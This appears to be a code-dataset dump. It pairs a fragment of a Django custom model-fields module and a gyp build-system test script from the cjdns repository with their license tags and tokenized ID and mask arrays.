% choicedict.get(choice) if choice else ", ".join([choicedict.get(value,value) for value in getattr(self,fieldname)]) setattr(cls, 'get_%s_display' % self.name, func) class IntegerRangeField(models.IntegerField): def __init__(self, verbose_name=None, name=None, min_value=None, max_value=None, **kwargs): self.min_value, self.max_value = min_value, max_value models.IntegerField.__init__(self, verbose_name, name, **kwargs) def formfield(self, **kwargs): defaults = {'min_value': self.min_value, 'max_value':self.max_value} defaults.update(kwargs) return super(IntegerRangeField, self).formfield(**defaults) class SmallIntegerRangeField(models.SmallIntegerField): def __init__(self, verbose_name=None, name=None, min_value=None, max_value=None, **kwargs): self.min_value, self.max_value = min_value, max_value models.SmallIntegerField.__init__(self, verbose_name, name, **kwargs) def formfield(self, **kwargs): defaults = {'min_value': self.min_value, 'max_value':self.max_value} defaults.update(kwargs) return super(SmallIntegerRangeField, self).formfield(**defaults) # Add introspection rules for fields for South try: from south.modelsinspector import add_introspection_rules add_introspection_rules([], ['^djcommon\.fields\.HashField']) add_introspection_rules([], ['^djcommon\.fields\.MultiSelectField']) add_introspection_rules([], ['^djcommon\.fields\.IntegerRangeField']) add_introspection_rules([], ['^djcommon\.fields\.SmallIntegerRangeField']) except ImportError: pass
bsd-3-clause
[ 3, 2644, 26, 2774, 13, 24, 2999, 199, 646, 8337, 2999, 199, 504, 1639, 492, 4513, 202, 199, 504, 1639, 14, 697, 492, 1709, 202, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 492, 12064, 202, 199, 504, 1639, 14, 1208, 14, 505, 492, 4021, 2246, 8065, 199, 533, 16101, 792, 8, 992, 14, 2183, 304, 1128, 1369, 275, 661, 3476, 792, 365, 4048, 370, 2005, 1163, 901, 315, 282, 1402, 436, 7, 1039, 283, 18958, 2399, 19871, 574, 367, 8034, 16356, 10238, 2659, 2958, 347, 636, 826, 721, 277, 12, 901, 63, 1247, 4581, 627, 589, 12, 1011, 958, 304, 1039, 408, 1039, 520, 635, 901, 63, 1247, 26, 536, 402, 314, 901, 503, 1504, 16915, 314, 574, 370, 506, 19871, 1039, 408, 1039, 291, 14, 698, 63, 1247, 275, 901, 63, 1247, 1039, 2074, 459, 988, 63, 1267, 418, 275, 6335, 1039, 2074, 459, 2307, 418, 275, 756, 1039, 2074, 14, 5486, 360, 697, 63, 1080, 297, 715, 9, 1039, 2074, 14, 5486, 360, 10820, 297, 756, 9, 1039, 1613, 8, 3476, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 2958, 347, 8671, 63, 2227, 8, 277, 12, 1402, 63, 842, 304, 1039, 1059, 63, 475, 63, 2227, 275, 2125, 1039, 367, 901, 63, 354, 315, 291, 14, 698, 63, 1247, 14, 1294, 25908, 1675, 901, 63, 354, 275, 901, 63, 354, 14, 1913, 342, 1675, 901, 63, 585, 275, 2519, 8, 1238, 63, 842, 12, 901, 63, 354, 9, 1675, 901, 63, 585, 275, 399, 14381, 16, 5469, 908, 8, 698, 63, 585, 9, 1675, 1059, 63, 475, 63, 2227, 847, 8337, 14, 4835, 17, 8, 698, 63, 585, 14, 2143, 360, 1624, 13, 24, 11103, 11453, 342, 4341, 2631, 275, 8337, 14, 4835, 17, 8, 875, 63, 475, 63, 2227, 680, 11453, 342, 1039, 5371, 8, 1238, 63, 842, 12, 291, 14, 13651, 12, 2631, 9, 1039, 372, 2631, 2958, 347, 876, 63, 2117, 8, 277, 12, 1402, 63, 842, 12, 1050, 304, 1039, 291, 14, 12063, 63, 2227, 8, 1238, 63, 842, 9, 1039, 372, 1613, 8, 3476, 792, 12, 291, 680, 657, 63, 2117, 8, 1238, 63, 842, 12, 1050, 9, 8065, 199, 533, 22373, 15792, 8, 3351, 14, 15792, 304, 1128, 327, 318, 636, 826, 721, 277, 12, 3415, 16729, 1415, 29, 549, 12, 3938, 29, 403, 12, 1768, 29, 403, 12, 2536, 29, 403, 12, 1720, 63, 505, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 1128, 327, 259, 1613, 8, 14269, 15792, 12, 291, 2843, 826, 721, 4577, 29, 4577, 12, 1415, 29, 2427, 12, 3938, 29, 3440, 12, 1768, 29, 1302, 12, 2536, 29, 2747, 12, 1720, 63, 505, 29, 3437, 63, 505, 12, 627, 589, 12, 1011, 958, 9, 2958, 347, 1686, 63, 585, 8, 277, 12, 574, 304, 1039, 372, 715, 8065, 199, 533, 6879, 5446, 2821, 792, 8, 3351, 14, 8433, 15792, 304, 1128, 3938, 275, 4513, 14, 26366, 32331, 2958, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 1039, 291, 14, 988, 63, 4577, 275, 2074, 14, 1935, 360, 988, 63, 4577, 297, 378, 9, 1039, 1613, 8, 3947, 5446, 2821, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 1039, 291, 14, 2747, 275, 2074, 14, 1935, 360, 2747, 297, 12548, 1294, 11917, 2958, 347, 3633, 8, 277, 12, 574, 304, 1039, 340, 440, 574, 436, 291, 14, 2427, 26, 1675, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 2427, 1105, 1039, 340, 574, 436, 291, 14, 988, 63, 4577, 436, 822, 8, 585, 9, 690, 291, 14, 988, 63, 4577, 26, 1675, 746, 4513, 14, 8172, 360, 5556, 1471, 3504, 282, 5696, 402, 450, 83, 7141, 5, 83, 3530, 4906, 450, 334, 439, 1955, 8, 277, 14, 988, 63, 4577, 395, 11718, 794, 8, 277, 14, 988, 63, 4577, 1724, 1039, 372, 574, 8065, 199, 533, 6879, 5446, 792, 8, 992, 14, 792, 304, 1128, 408, 1128, 9750, 15256, 2621, 370, 24747, 14769, 820, 3362, 1237, 1128, 1455, 921, 12816, 736, 78, 15147, 14, 1308, 15, 32566, 15, 23781, 15, 1128, 408, 1128, 636, 6577, 363, 275, 1709, 14, 2610, 698, 1563, 2958, 347, 664, 63, 4672, 63, 466, 8, 277, 304, 1039, 372, 298, 2183, 2, 2958, 347, 664, 63, 4577, 63, 885, 8, 277, 304, 1039, 372, 291, 14, 362, 63, 4577, 8, 2613, 63, 2500, 29, 797, 9, 2958, 347, 485, 362, 63, 8609, 63, 2918, 8, 277, 12, 901, 304, 1039, 574, 275, 2519, 8, 277, 12, 901, 14, 13651, 9, 1039, 7141, 807, 275, 1211, 8, 698, 14, 4577, 9, 2958, 347, 21388, 8, 277, 12, 1011, 958, 304, 1039, 327, 2793, 1133, 1240, 1613, 12, 465, 626, 10580, 849, 3938, 340, 652, 965, 3415, 1039, 4243, 275, 791, 2427, 356, 440, 291, 14, 2500, 12, 283, 1302, 356, 4021, 2246, 8, 277, 14, 3832, 63, 354, 395, 4906, 283, 3437, 63, 505, 356, 291, 14, 3437, 63, 505, 12, 283, 4577, 356, 277, 14, 4577, 93, 1039, 340, 291, 14, 1989, 63, 885, 837, 1675, 4243, 459, 2747, 418, 275, 291, 14, 362, 63, 885, 342, 1039, 4243, 14, 873, 8, 958, 9, 1039, 372, 6879, 5446, 2821, 792, 3682, 4322, 9, 2958, 347, 664, 63, 697, 63, 10837, 63, 585, 8, 277, 12, 574, 12, 1950, 29, 403, 12, 16318, 29, 797, 304, 1039, 340, 1228, 8, 585, 12, 7116, 304, 1675, 372, 574, 1039, 916, 1228, 8, 585, 12, 769, 304, 1675, 372, 19089, 904, 8, 585, 9, 2958, 347, 574, 63, 475, 63, 875, 8, 277, 12, 1559, 304, 1039, 574, 275, 291, 423, 362, 63, 637, 63, 504, 63, 1113, 8, 1113, 9, 1039, 372, 291, 14, 362, 63, 697, 63, 10837, 63, 585, 8, 585, 9, 2958, 347, 370, 63, 1548, 8, 277, 12, 574, 304, 1039, 340, 1228, 8, 585, 12, 769, 304, 1675, 372, 574, 1039, 916, 574, 389, 403, 26, 1675, 372, 2125, 1039, 372, 574, 14, 1294, 20324, 2958, 347, 4107, 8, 277, 12, 574, 12, 1402, 63, 842, 304, 1039, 372, 2958, 347, 28567, 63, 475, 63, 533, 8, 277, 12, 843, 12, 536, 304, 1039, 1613, 8 ]
[ 2644, 26, 2774, 13, 24, 2999, 199, 646, 8337, 2999, 199, 504, 1639, 492, 4513, 202, 199, 504, 1639, 14, 697, 492, 1709, 202, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 492, 12064, 202, 199, 504, 1639, 14, 1208, 14, 505, 492, 4021, 2246, 8065, 199, 533, 16101, 792, 8, 992, 14, 2183, 304, 1128, 1369, 275, 661, 3476, 792, 365, 4048, 370, 2005, 1163, 901, 315, 282, 1402, 436, 7, 1039, 283, 18958, 2399, 19871, 574, 367, 8034, 16356, 10238, 2659, 2958, 347, 636, 826, 721, 277, 12, 901, 63, 1247, 4581, 627, 589, 12, 1011, 958, 304, 1039, 408, 1039, 520, 635, 901, 63, 1247, 26, 536, 402, 314, 901, 503, 1504, 16915, 314, 574, 370, 506, 19871, 1039, 408, 1039, 291, 14, 698, 63, 1247, 275, 901, 63, 1247, 1039, 2074, 459, 988, 63, 1267, 418, 275, 6335, 1039, 2074, 459, 2307, 418, 275, 756, 1039, 2074, 14, 5486, 360, 697, 63, 1080, 297, 715, 9, 1039, 2074, 14, 5486, 360, 10820, 297, 756, 9, 1039, 1613, 8, 3476, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 2958, 347, 8671, 63, 2227, 8, 277, 12, 1402, 63, 842, 304, 1039, 1059, 63, 475, 63, 2227, 275, 2125, 1039, 367, 901, 63, 354, 315, 291, 14, 698, 63, 1247, 14, 1294, 25908, 1675, 901, 63, 354, 275, 901, 63, 354, 14, 1913, 342, 1675, 901, 63, 585, 275, 2519, 8, 1238, 63, 842, 12, 901, 63, 354, 9, 1675, 901, 63, 585, 275, 399, 14381, 16, 5469, 908, 8, 698, 63, 585, 9, 1675, 1059, 63, 475, 63, 2227, 847, 8337, 14, 4835, 17, 8, 698, 63, 585, 14, 2143, 360, 1624, 13, 24, 11103, 11453, 342, 4341, 2631, 275, 8337, 14, 4835, 17, 8, 875, 63, 475, 63, 2227, 680, 11453, 342, 1039, 5371, 8, 1238, 63, 842, 12, 291, 14, 13651, 12, 2631, 9, 1039, 372, 2631, 2958, 347, 876, 63, 2117, 8, 277, 12, 1402, 63, 842, 12, 1050, 304, 1039, 291, 14, 12063, 63, 2227, 8, 1238, 63, 842, 9, 1039, 372, 1613, 8, 3476, 792, 12, 291, 680, 657, 63, 2117, 8, 1238, 63, 842, 12, 1050, 9, 8065, 199, 533, 22373, 15792, 8, 3351, 14, 15792, 304, 1128, 327, 318, 636, 826, 721, 277, 12, 3415, 16729, 1415, 29, 549, 12, 3938, 29, 403, 12, 1768, 29, 403, 12, 2536, 29, 403, 12, 1720, 63, 505, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 1128, 327, 259, 1613, 8, 14269, 15792, 12, 291, 2843, 826, 721, 4577, 29, 4577, 12, 1415, 29, 2427, 12, 3938, 29, 3440, 12, 1768, 29, 1302, 12, 2536, 29, 2747, 12, 1720, 63, 505, 29, 3437, 63, 505, 12, 627, 589, 12, 1011, 958, 9, 2958, 347, 1686, 63, 585, 8, 277, 12, 574, 304, 1039, 372, 715, 8065, 199, 533, 6879, 5446, 2821, 792, 8, 3351, 14, 8433, 15792, 304, 1128, 3938, 275, 4513, 14, 26366, 32331, 2958, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 1039, 291, 14, 988, 63, 4577, 275, 2074, 14, 1935, 360, 988, 63, 4577, 297, 378, 9, 1039, 1613, 8, 3947, 5446, 2821, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 1039, 291, 14, 2747, 275, 2074, 14, 1935, 360, 2747, 297, 12548, 1294, 11917, 2958, 347, 3633, 8, 277, 12, 574, 304, 1039, 340, 440, 574, 436, 291, 14, 2427, 26, 1675, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 2427, 1105, 1039, 340, 574, 436, 291, 14, 988, 63, 4577, 436, 822, 8, 585, 9, 690, 291, 14, 988, 63, 4577, 26, 1675, 746, 4513, 14, 8172, 360, 5556, 1471, 3504, 282, 5696, 402, 450, 83, 7141, 5, 83, 3530, 4906, 450, 334, 439, 1955, 8, 277, 14, 988, 63, 4577, 395, 11718, 794, 8, 277, 14, 988, 63, 4577, 1724, 1039, 372, 574, 8065, 199, 533, 6879, 5446, 792, 8, 992, 14, 792, 304, 1128, 408, 1128, 9750, 15256, 2621, 370, 24747, 14769, 820, 3362, 1237, 1128, 1455, 921, 12816, 736, 78, 15147, 14, 1308, 15, 32566, 15, 23781, 15, 1128, 408, 1128, 636, 6577, 363, 275, 1709, 14, 2610, 698, 1563, 2958, 347, 664, 63, 4672, 63, 466, 8, 277, 304, 1039, 372, 298, 2183, 2, 2958, 347, 664, 63, 4577, 63, 885, 8, 277, 304, 1039, 372, 291, 14, 362, 63, 4577, 8, 2613, 63, 2500, 29, 797, 9, 2958, 347, 485, 362, 63, 8609, 63, 2918, 8, 277, 12, 901, 304, 1039, 574, 275, 2519, 8, 277, 12, 901, 14, 13651, 9, 1039, 7141, 807, 275, 1211, 8, 698, 14, 4577, 9, 2958, 347, 21388, 8, 277, 12, 1011, 958, 304, 1039, 327, 2793, 1133, 1240, 1613, 12, 465, 626, 10580, 849, 3938, 340, 652, 965, 3415, 1039, 4243, 275, 791, 2427, 356, 440, 291, 14, 2500, 12, 283, 1302, 356, 4021, 2246, 8, 277, 14, 3832, 63, 354, 395, 4906, 283, 3437, 63, 505, 356, 291, 14, 3437, 63, 505, 12, 283, 4577, 356, 277, 14, 4577, 93, 1039, 340, 291, 14, 1989, 63, 885, 837, 1675, 4243, 459, 2747, 418, 275, 291, 14, 362, 63, 885, 342, 1039, 4243, 14, 873, 8, 958, 9, 1039, 372, 6879, 5446, 2821, 792, 3682, 4322, 9, 2958, 347, 664, 63, 697, 63, 10837, 63, 585, 8, 277, 12, 574, 12, 1950, 29, 403, 12, 16318, 29, 797, 304, 1039, 340, 1228, 8, 585, 12, 7116, 304, 1675, 372, 574, 1039, 916, 1228, 8, 585, 12, 769, 304, 1675, 372, 19089, 904, 8, 585, 9, 2958, 347, 574, 63, 475, 63, 875, 8, 277, 12, 1559, 304, 1039, 574, 275, 291, 423, 362, 63, 637, 63, 504, 63, 1113, 8, 1113, 9, 1039, 372, 291, 14, 362, 63, 697, 63, 10837, 63, 585, 8, 585, 9, 2958, 347, 370, 63, 1548, 8, 277, 12, 574, 304, 1039, 340, 1228, 8, 585, 12, 769, 304, 1675, 372, 574, 1039, 916, 574, 389, 403, 26, 1675, 372, 2125, 1039, 372, 574, 14, 1294, 20324, 2958, 347, 4107, 8, 277, 12, 574, 12, 1402, 63, 842, 304, 1039, 372, 2958, 347, 28567, 63, 475, 63, 533, 8, 277, 12, 843, 12, 536, 304, 1039, 1613, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Kubuxu/cjdns
node_build/dependencies/libuv/build/gyp/test/actions-multiple/gyptest-all.py
345
2115
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Verifies two actions can be attached to the same input files. """ import sys import TestGyp test = TestGyp.TestGyp() test.run_gyp('actions.gyp', chdir='src') test.relocate('src', 'relocate/src') # Test of fine-grained dependencies for generators that can build individual # files on demand. # In particular: # - TargetA depends on TargetB. # - TargetA and TargetB are 'none' type with actions attached. # - TargetA has multiple actions. # - An output from one of the actions in TargetA (not the first listed), # is requested as the build target. # Ensure that TargetB gets built. # # This sub-test can only be done with generators/build tools that can # be asked to build individual files rather than whole targets (make, ninja). if test.format in ['make', 'ninja']: # Select location of target based on generator. if test.format == 'make': target = 'multi2.txt' elif test.format == 'ninja': if sys.platform in ['win32', 'cygwin']: target = '..\\..\\multi2.txt' else: target = '../../multi2.txt' else: assert False test.build('actions.gyp', chdir='relocate/src', target=target) test.must_contain('relocate/src/multi2.txt', 'hello there') test.must_contain('relocate/src/multi_dep.txt', 'hello there') # Test that two actions can be attached to the same inputs. test.build('actions.gyp', test.ALL, chdir='relocate/src') test.must_contain('relocate/src/output1.txt', 'hello there') test.must_contain('relocate/src/output2.txt', 'hello there') test.must_contain('relocate/src/output3.txt', 'hello there') test.must_contain('relocate/src/output4.txt', 'hello there') # Test that process_outputs_as_sources works in conjuction with merged # actions. test.run_built_executable( 'multiple_action_source_filter', chdir='relocate/src', stdout=( '{\n' 'bar\n' 'car\n' 'dar\n' 'ear\n' '}\n' ), ) test.pass_test()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 2877, 5445, 883, 506, 10102, 370, 314, 2011, 1324, 1584, 14, 199, 624, 199, 199, 646, 984, 199, 199, 646, 25688, 199, 199, 396, 275, 25688, 14, 774, 13899, 342, 199, 199, 396, 14, 1065, 63, 6179, 360, 3723, 14, 6179, 297, 13097, 534, 2164, 358, 199, 199, 396, 14, 18919, 360, 2164, 297, 283, 18919, 15, 2164, 358, 199, 199, 3, 1379, 402, 15701, 13, 926, 1942, 5124, 367, 16952, 626, 883, 1900, 8212, 199, 3, 1584, 641, 29237, 14, 199, 3, 1010, 6770, 26, 199, 3, 257, 446, 10256, 33, 8350, 641, 10256, 34, 14, 199, 3, 257, 446, 10256, 33, 436, 10256, 34, 787, 283, 3592, 7, 730, 543, 5445, 10102, 14, 199, 3, 257, 446, 10256, 33, 965, 3663, 5445, 14, 199, 3, 257, 446, 1626, 1072, 687, 1373, 402, 314, 5445, 315, 10256, 33, 334, 1397, 314, 1642, 10532, 395, 199, 3, 258, 365, 5839, 465, 314, 1900, 1347, 14, 199, 3, 7523, 626, 10256, 34, 7545, 6137, 14, 199, 3, 199, 3, 961, 1007, 13, 396, 883, 1454, 506, 4224, 543, 16952, 15, 1506, 7249, 626, 883, 199, 3, 506, 20864, 370, 1900, 8212, 1584, 7830, 2419, 8852, 4545, 334, 1875, 12, 14822, 680, 199, 692, 511, 14, 908, 315, 788, 1875, 297, 283, 8675, 2565, 523, 327, 9496, 2909, 402, 1347, 4079, 641, 4306, 14, 523, 340, 511, 14, 908, 508, 283, 1875, 356, 272, 1347, 275, 283, 3029, 18, 14, 2424, 7, 523, 916, 511, 14, 908, 508, 283, 8675, 356, 272, 340, 984, 14, 3246, 315, 788, 2676, 708, 297, 283, 16680, 2565, 489, 1347, 275, 11541, 1103, 703, 1103, 3029, 18, 14, 2424, 7, 272, 587, 26, 489, 1347, 275, 283, 9707, 3029, 18, 14, 2424, 7, 523, 587, 26, 272, 702, 756, 523, 511, 14, 1506, 360, 3723, 14, 6179, 297, 13097, 534, 18919, 15, 2164, 297, 1347, 29, 1375, 9, 523, 511, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 3029, 18, 14, 2424, 297, 283, 5006, 2337, 358, 523, 511, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 3029, 63, 2601, 14, 2424, 297, 283, 5006, 2337, 358, 421, 199, 3, 1379, 626, 2877, 5445, 883, 506, 10102, 370, 314, 2011, 4153, 14, 199, 396, 14, 1506, 360, 3723, 14, 6179, 297, 511, 14, 1761, 12, 13097, 534, 18919, 15, 2164, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 17, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 18, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 19, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 20, 14, 2424, 297, 283, 5006, 2337, 358, 199, 199, 3, 1379, 626, 2112, 63, 4467, 63, 305, 63, 4553, 5419, 315, 14643, 85, 414, 543, 9545, 199, 3, 5445, 14, 199, 396, 14, 1065, 63, 11730, 63, 5904, 8, 272, 283, 6048, 63, 1287, 63, 1365, 63, 1541, 297, 272, 13097, 534, 18919, 15, 2164, 297, 272, 3839, 2687, 267, 5041, 60, 78, 7, 267, 283, 1700, 60, 78, 7, 267, 283, 7007, 60, 78, 7, 267, 283, 4460, 60, 78, 7, 267, 283, 2210, 60, 78, 7, 267, 283, 4988, 78, 7, 272, 2318, 199, 9, 421, 199, 396, 14, 1529, 63, 396, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 2877, 5445, 883, 506, 10102, 370, 314, 2011, 1324, 1584, 14, 199, 624, 199, 199, 646, 984, 199, 199, 646, 25688, 199, 199, 396, 275, 25688, 14, 774, 13899, 342, 199, 199, 396, 14, 1065, 63, 6179, 360, 3723, 14, 6179, 297, 13097, 534, 2164, 358, 199, 199, 396, 14, 18919, 360, 2164, 297, 283, 18919, 15, 2164, 358, 199, 199, 3, 1379, 402, 15701, 13, 926, 1942, 5124, 367, 16952, 626, 883, 1900, 8212, 199, 3, 1584, 641, 29237, 14, 199, 3, 1010, 6770, 26, 199, 3, 257, 446, 10256, 33, 8350, 641, 10256, 34, 14, 199, 3, 257, 446, 10256, 33, 436, 10256, 34, 787, 283, 3592, 7, 730, 543, 5445, 10102, 14, 199, 3, 257, 446, 10256, 33, 965, 3663, 5445, 14, 199, 3, 257, 446, 1626, 1072, 687, 1373, 402, 314, 5445, 315, 10256, 33, 334, 1397, 314, 1642, 10532, 395, 199, 3, 258, 365, 5839, 465, 314, 1900, 1347, 14, 199, 3, 7523, 626, 10256, 34, 7545, 6137, 14, 199, 3, 199, 3, 961, 1007, 13, 396, 883, 1454, 506, 4224, 543, 16952, 15, 1506, 7249, 626, 883, 199, 3, 506, 20864, 370, 1900, 8212, 1584, 7830, 2419, 8852, 4545, 334, 1875, 12, 14822, 680, 199, 692, 511, 14, 908, 315, 788, 1875, 297, 283, 8675, 2565, 523, 327, 9496, 2909, 402, 1347, 4079, 641, 4306, 14, 523, 340, 511, 14, 908, 508, 283, 1875, 356, 272, 1347, 275, 283, 3029, 18, 14, 2424, 7, 523, 916, 511, 14, 908, 508, 283, 8675, 356, 272, 340, 984, 14, 3246, 315, 788, 2676, 708, 297, 283, 16680, 2565, 489, 1347, 275, 11541, 1103, 703, 1103, 3029, 18, 14, 2424, 7, 272, 587, 26, 489, 1347, 275, 283, 9707, 3029, 18, 14, 2424, 7, 523, 587, 26, 272, 702, 756, 523, 511, 14, 1506, 360, 3723, 14, 6179, 297, 13097, 534, 18919, 15, 2164, 297, 1347, 29, 1375, 9, 523, 511, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 3029, 18, 14, 2424, 297, 283, 5006, 2337, 358, 523, 511, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 3029, 63, 2601, 14, 2424, 297, 283, 5006, 2337, 358, 421, 199, 3, 1379, 626, 2877, 5445, 883, 506, 10102, 370, 314, 2011, 4153, 14, 199, 396, 14, 1506, 360, 3723, 14, 6179, 297, 511, 14, 1761, 12, 13097, 534, 18919, 15, 2164, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 17, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 18, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 19, 14, 2424, 297, 283, 5006, 2337, 358, 199, 396, 14, 7790, 63, 7747, 360, 18919, 15, 2164, 15, 1199, 20, 14, 2424, 297, 283, 5006, 2337, 358, 199, 199, 3, 1379, 626, 2112, 63, 4467, 63, 305, 63, 4553, 5419, 315, 14643, 85, 414, 543, 9545, 199, 3, 5445, 14, 199, 396, 14, 1065, 63, 11730, 63, 5904, 8, 272, 283, 6048, 63, 1287, 63, 1365, 63, 1541, 297, 272, 13097, 534, 18919, 15, 2164, 297, 272, 3839, 2687, 267, 5041, 60, 78, 7, 267, 283, 1700, 60, 78, 7, 267, 283, 7007, 60, 78, 7, 